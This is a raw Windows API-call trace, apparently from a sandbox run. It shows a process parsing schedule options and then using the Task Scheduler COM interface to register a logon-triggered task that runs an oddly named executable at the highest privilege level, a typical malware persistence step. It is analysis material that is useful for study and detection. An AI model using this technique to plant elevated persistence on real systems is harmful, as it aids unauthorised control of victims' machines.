[0157.564] lstrlenW (lpString="et") returned 2 [0157.564] lstrlenW (lpString="et") returned 2 [0157.564] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.564] lstrlenW (lpString="f") returned 1 [0157.564] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.564] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|et|") returned 4 [0157.564] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.564] lstrlenW (lpString="|et|") returned 4 [0157.564] lstrlenW (lpString="|f|") returned 3 [0157.564] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0157.564] SetLastError (dwErrCode=0x490) [0157.564] lstrlenW (lpString="k") returned 1 [0157.564] lstrlenW (lpString="k") returned 1 [0157.564] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.564] lstrlenW (lpString="f") returned 1 [0157.564] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.564] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|k|") returned 3 [0157.564] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.564] lstrlenW (lpString="|k|") returned 3 [0157.564] lstrlenW (lpString="|f|") returned 3 [0157.564] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0157.564] SetLastError (dwErrCode=0x490) [0157.564] lstrlenW (lpString="du") returned 2 [0157.564] lstrlenW (lpString="du") returned 2 [0157.564] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] lstrlenW (lpString="f") returned 1 [0157.565] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|du|") returned 4 [0157.565] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.565] lstrlenW (lpString="|du|") returned 4 [0157.565] lstrlenW (lpString="|f|") returned 3 [0157.565] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0157.565] SetLastError (dwErrCode=0x490) [0157.565] lstrlenW (lpString="ri") returned 2 [0157.565] lstrlenW (lpString="ri") returned 2 [0157.565] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] lstrlenW (lpString="f") returned 1 [0157.565] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ri|") returned 4 [0157.565] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.565] lstrlenW (lpString="|ri|") returned 4 [0157.565] lstrlenW (lpString="|f|") returned 3 [0157.565] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0157.565] SetLastError (dwErrCode=0x490) [0157.565] lstrlenW (lpString="z") returned 1 [0157.565] lstrlenW (lpString="z") returned 1 [0157.565] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] lstrlenW (lpString="f") returned 1 [0157.565] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.565] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|z|") returned 3 [0157.565] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.565] lstrlenW (lpString="|z|") returned 3 [0157.565] lstrlenW (lpString="|f|") returned 3 [0157.565] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0157.565] SetLastError (dwErrCode=0x490) [0157.565] lstrlenW (lpString="f") returned 1 [0157.566] lstrlenW (lpString="f") returned 1 [0157.566] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.566] lstrlenW (lpString="f") returned 1 [0157.566] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.566] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.566] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.566] lstrlenW (lpString="|f|") returned 3 [0157.566] lstrlenW (lpString="|f|") returned 3 [0157.566] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0157.566] SetLastError (dwErrCode=0x0) [0157.566] SetLastError (dwErrCode=0x0) [0157.566] GetProcessHeap () returned 0x250000 [0157.566] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd60 [0157.566] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.566] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0157.566] lstrlenW (lpString="LIMITED") returned 7 [0157.566] GetProcessHeap () returned 0x250000 [0157.566] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d560 [0157.566] GetThreadLocale () returned 0x409 [0157.566] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0157.566] GetProcessHeap () returned 0x250000 [0157.566] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd30 [0157.566] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.566] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0157.566] lstrlenW (lpString="HIGHEST") returned 7 [0157.566] GetProcessHeap () returned 0x250000 [0157.566] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d580 [0157.566] GetThreadLocale () returned 0x409 [0157.566] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd00 [0157.567] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.567] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0157.567] lstrlenW (lpString="MINUTE") returned 6 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d5a0 [0157.567] GetThreadLocale () returned 0x409 [0157.567] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccd0 [0157.567] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.567] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0157.567] lstrlenW (lpString="HOURLY") returned 6 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d5c0 [0157.567] GetThreadLocale () returned 0x409 [0157.567] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cca0 [0157.567] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.567] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0157.567] lstrlenW (lpString="DAILY") returned 5 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d5e0 [0157.567] GetThreadLocale () returned 0x409 [0157.567] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0157.567] GetProcessHeap () returned 0x250000 [0157.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc70 [0157.568] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.568] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0157.568] lstrlenW (lpString="WEEKLY") returned 6 [0157.568] GetProcessHeap () returned 0x250000 [0157.568] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d600 [0157.568] GetThreadLocale () returned 0x409 [0157.568] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0157.568] GetProcessHeap () returned 0x250000 [0157.568] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc40 [0157.568] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.568] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0157.568] lstrlenW (lpString="MONTHLY") returned 7 [0157.568] GetProcessHeap () returned 0x250000 [0157.568] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d620 [0157.568] GetThreadLocale () returned 0x409 [0157.568] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0157.568] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.568] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0157.568] lstrlenW (lpString="ONCE") returned 4 [0157.568] GetProcessHeap () returned 0x250000 [0157.568] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26d640 [0157.568] GetThreadLocale () returned 0x409 [0157.568] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0157.568] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.568] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0157.569] lstrlenW (lpString="ONSTART") returned 7 [0157.569] GetThreadLocale () returned 0x409 [0157.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0157.569] lstrlenW (lpString="ONLOGON") returned 7 [0157.569] GetThreadLocale () returned 0x409 [0157.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0157.569] SetLastError (dwErrCode=0x0) [0157.569] GetProcessHeap () returned 0x250000 [0157.569] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x1fc) returned 0x26c430 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0157.569] lstrlenW (lpString="First") returned 5 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0157.569] lstrlenW (lpString="Second") returned 6 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0157.569] lstrlenW (lpString="Third") returned 5 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0157.569] lstrlenW (lpString="Fourth") returned 6 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.569] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0157.569] lstrlenW (lpString="Last") returned 4 [0157.569] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.570] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0157.570] lstrlenW (lpString="First") returned 5 [0157.570] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.570] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0157.570] lstrlenW (lpString="Second") returned 6 [0157.570] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.570] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0157.570] lstrlenW (lpString="Third") returned 5 [0157.570] GetProcessHeap () returned 0x250000 [0157.570] GetProcessHeap () returned 0x250000 [0157.570] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640) returned 1 [0157.570] GetProcessHeap () returned 0x250000 [0157.570] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d640) returned 0xa [0157.570] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640 | out: hHeap=0x250000) returned 1 [0157.570] GetProcessHeap () returned 0x250000 [0157.570] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d640 [0157.570] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.570] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0157.570] lstrlenW (lpString="Fourth") returned 6 [0157.570] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.570] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0157.570] lstrlenW (lpString="Last") returned 4 [0157.570] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c420, cchData=128 | out: lpLCData="0") returned 2 [0157.571] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.571] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0157.571] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560) returned 1 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d560) returned 0x10 [0157.571] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560 | out: hHeap=0x250000) returned 1 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d560 [0157.571] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c440, cchData=128 | out: lpLCData="0") returned 2 [0157.571] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.571] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0157.571] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580) returned 1 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d580) returned 0x10 [0157.571] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580 | out: hHeap=0x250000) returned 1 [0157.571] GetProcessHeap () returned 0x250000 [0157.571] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d580 [0157.571] GetLocalTime (in: lpSystemTime=0x13c670 | out: lpSystemTime=0x13c670*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x11, wMilliseconds=0x7f)) [0157.571] GetLocalTime (in: lpSystemTime=0x13cf28 | out: lpSystemTime=0x13cf28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x11, wMilliseconds=0x7f)) [0157.571] lstrlenW (lpString="") returned 0 [0157.571] lstrlenW (lpString="") returned 0 [0157.572] lstrlenW (lpString="") returned 0 [0157.572] lstrlenW (lpString="") returned 0 [0157.572] lstrlenW (lpString="") returned 0 [0157.572] lstrlenW (lpString="") returned 0 [0157.572] lstrlenW (lpString="") returned 0 [0157.572] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0157.880] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0157.944] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13ccf0 | out: ppv=0x13ccf0*=0x507aa0) returned 0x0 [0157.952] TaskScheduler:ITaskService:Connect (This=0x507aa0, serverName=0x13cdd0*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13cdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0157.994] TaskScheduler:IUnknown:AddRef (This=0x507aa0) returned 0x2 [0157.994] TaskScheduler:ITaskService:GetFolder (in: This=0x507aa0, Path=0x0, ppFolder=0x13ce88 | out: ppFolder=0x13ce88*=0x507cd0) returned 0x0 [0157.997] TaskScheduler:ITaskService:NewTask (in: This=0x507aa0, flags=0x0, ppDefinition=0x13ce80 | out: ppDefinition=0x13ce80*=0x507d20) returned 0x0 [0157.997] ITaskDefinition:get_Actions (in: This=0x507d20, ppActions=0x13ce00 | out: ppActions=0x13ce00*=0x507de0) returned 0x0 [0157.997] IActionCollection:Create (in: This=0x507de0, Type=0, ppAction=0x13ce20 | out: ppAction=0x13ce20*=0x506170) returned 0x0 [0157.998] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.998] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.998] lstrlenW (lpString=" ") returned 1 [0157.998] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0157.998] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0157.999] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0157.999] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.999] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.999] IUnknown:Release (This=0x506170) returned 0x1 [0157.999] IUnknown:Release (This=0x507de0) returned 0x1 [0157.999] ITaskDefinition:get_Triggers (in: This=0x507d20, ppTriggers=0x13c980 | out: ppTriggers=0x13c980*=0x507f20) returned 0x0 [0157.999] ITriggerCollection:Create (in: This=0x507f20, Type=9, ppTrigger=0x13c978 | out: ppTrigger=0x13c978*=0x5061e0) returned 0x0 [0158.000] IUnknown:QueryInterface (in: This=0x5061e0, riid=0xffbf1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x13c970 | out: ppvObject=0x13c970*=0x5061e0) returned 0x0 [0158.000] IUnknown:Release (This=0x5061e0) returned 0x2 [0158.000] _vsnwprintf (in: _Buffer=0x13c8c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13c898 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0158.000] ITrigger:put_StartBoundary (This=0x5061e0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0158.000] lstrlenW (lpString="") returned 0 [0158.000] lstrlenW (lpString="") returned 0 [0158.000] lstrlenW (lpString="") returned 0 [0158.000] lstrlenW (lpString="") returned 0 [0158.000] IUnknown:Release (This=0x5061e0) returned 0x1 [0158.000] IUnknown:Release (This=0x507f20) returned 0x1 [0158.000] ITaskDefinition:get_Settings (in: This=0x507d20, ppSettings=0x13ce20 | out: ppSettings=0x13ce20*=0x505f50) returned 0x0 [0158.000] lstrlenW (lpString="") returned 0 [0158.000] IUnknown:Release (This=0x505f50) returned 0x1 [0158.000] GetLocalTime (in: lpSystemTime=0x13ccd8 | out: lpSystemTime=0x13ccd8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x11, wMilliseconds=0x198)) [0158.000] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0158.001] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0158.001] GetUserNameW (in: lpBuffer=0x13cd00, pcbBuffer=0x13cce8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13cce8) returned 1 [0158.001] ITaskDefinition:get_RegistrationInfo (in: This=0x507d20, ppRegistrationInfo=0x13ccd0 | out: ppRegistrationInfo=0x13ccd0*=0x507e60) returned 0x0 [0158.001] IRegistrationInfo:put_Author (This=0x507e60, Author="") returned 0x0 [0158.001] _vsnwprintf (in: _Buffer=0x13cd00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13cc98 | out: _Buffer="2022-08-06T02:19:17") returned 19 [0158.002] IRegistrationInfo:put_Date (This=0x507e60, Date="") returned 0x0 [0158.002] IUnknown:Release (This=0x507e60) returned 0x1 [0158.002] malloc (_Size=0x18) returned 0x507fb0 [0158.002] free (_Block=0x507fb0) [0158.002] lstrlenW (lpString="") returned 0 [0158.002] ITaskDefinition:get_Principal (in: This=0x507d20, ppPrincipal=0x13cef0 | out: ppPrincipal=0x13cef0*=0x5060c0) returned 0x0 [0158.002] IPrincipal:put_RunLevel (This=0x5060c0, RunLevel=1) returned 0x0 [0158.002] IUnknown:Release (This=0x5060c0) returned 0x1 [0158.002] malloc (_Size=0x18) returned 0x507fb0 [0158.002] ITaskFolder:RegisterTaskDefinition (in: This=0x507cd0, Path="but inside save", pDefinition=0x507d20, flags=6, 